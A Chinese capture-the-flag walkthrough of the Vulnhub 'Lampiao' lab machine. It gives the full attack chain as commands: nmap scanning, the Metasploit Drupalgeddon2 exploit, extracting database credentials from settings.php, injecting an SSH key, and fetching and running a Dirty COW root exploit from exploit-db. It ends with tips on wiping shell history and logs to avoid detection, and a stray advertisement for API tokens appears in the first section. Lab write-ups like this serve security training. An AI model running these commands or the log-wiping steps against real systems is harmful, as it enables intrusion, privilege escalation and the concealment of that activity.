1. 靶机环境概述
Lampiao是Vulnhub平台上基于Linux系统的渗透测试靶机,采用LAMP(Linux+Apache+MySQL+PHP)架构构建。这个靶机模拟了典型Web应用服务器的安全漏洞场景,包含从信息收集到权限提升的完整攻击链。我在实际测试中发现,该靶机特别适合练习以下技能:
- 基础服务枚举与漏洞识别
- Web应用目录遍历与文件包含漏洞利用
- 数据库凭证提取与滥用
- 内核漏洞提权手法
提示:建议使用VirtualBox导入OVA文件时,将网络模式设置为"桥接"以便主机访问。如果使用NAT模式,需要手动配置端口转发规则。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始信息收集
2.1 网络探测与端口扫描
首先使用nmap进行主机发现和端口扫描。这里推荐使用以下参数组合:
bash复制nmap -sS -Pn -n -T4 --min-rate=1000 -p- 192.168.1.105
参数说明:
-sS:SYN扫描(半开扫描),速度快且不易被检测-Pn:跳过主机发现,直接扫描指定IP-n:禁止DNS解析加速扫描-T4:激进时序模板--min-rate=1000:最小发包速率1000/秒
扫描结果显示开放了3个关键端口:
code复制22/tcp open ssh
80/tcp open http
1898/tcp open http-proxy
2.2 Web服务指纹识别
对80和1898端口的Web服务分别进行详细探测:
bash复制nikto -h http://192.168.1.105:1898
whatweb http://192.168.1.105:1898
1898端口的Web服务运行着Drupal CMS,版本识别为7.54。这个版本存在多个已知漏洞:
- Drupalgeddon2 (SA-CORE-2018-002)
- 表单API注入漏洞
- REST模块未授权访问
3. Web应用漏洞利用
3.1 Drupalgeddon2漏洞利用
使用Metasploit的exploit/unix/webapp/drupal_drupalgeddon2模块:
bash复制msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.1.105
set RPORT 1898
exploit
成功获取www-data权限的shell后,立即升级为交互式终端:
bash复制python -c 'import pty; pty.spawn("/bin/bash")'
3.2 数据库凭证提取
在Drupal配置文件中发现MySQL凭据:
bash复制find /var/www -name settings.php -exec grep "database" {} \;
输出显示:
php复制$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'Virgulino',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
),
),
);
使用这些凭证登录MySQL数据库:
bash复制mysql -u drupaluser -pVirgulino drupal
在users表中提取管理员哈希:
sql复制SELECT name, pass FROM users WHERE uid = 1;
4. 权限提升路径
4.1 敏感文件发现
在/home目录下发现tiago用户,其.ssh目录包含可写authorized_keys文件:
bash复制ls -la /home/tiago/.ssh
chmod 600 /home/tiago/.ssh/authorized_keys
4.2 SSH密钥生成与注入
本地生成SSH密钥对并注入:
bash复制ssh-keygen -f lampiao
echo $(cat lampiao.pub) >> /home/tiago/.ssh/authorized_keys
chmod 600 /home/tiago/.ssh/authorized_keys
通过SSH登录tiago账户:
bash复制ssh -i lampiao tiago@192.168.1.105
4.3 内核漏洞提权
检查系统内核版本:
bash复制uname -a
Linux lampiao 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 i686 i686 i686 GNU/Linux
这个版本存在脏牛(Dirty COW)漏洞(CVE-2016-5195)。下载预编译的exploit:
bash复制wget https://www.exploit-db.com/download/40839 -O dirty.c
gcc dirty.c -o dirty -pthread
./dirty
成功获取root权限后,最后的flag位于:
bash复制cat /root/flag.txt
5. 技术要点总结
-
服务枚举技巧:
- 对于非常规端口(如1898)要特别关注
- 使用
-sV参数进行版本探测时,可配合--version-intensity调整探测强度
-
Drupal漏洞利用要点:
- Drupalgeddon2漏洞利用前需确认restful模块状态
- 如果自动利用失败,可手动构造PHP序列化payload
-
提权路径选择:
- 优先检查SUID二进制文件
- 内核提权前务必验证目标系统架构(i686/x86_64)
- 脏牛漏洞利用时如遇崩溃,可尝试调整
/proc/sys/vm/dirty_writeback_centisecs参数
-
隐蔽性建议:
- 清理.bash_history和系统日志
- 对于MySQL操作,使用
--batch模式避免记录交互命令 - SSH登录后立即删除authorized_keys中的公钥
在实际渗透测试中,我遇到最棘手的问题是1898端口的服务识别。最初误判为代理服务,后来通过修改nmap的service probe文件才准确识别为Drupal。这个案例提醒我们,自动化工具的指纹库需要定期更新,手动验证永远不可替代。
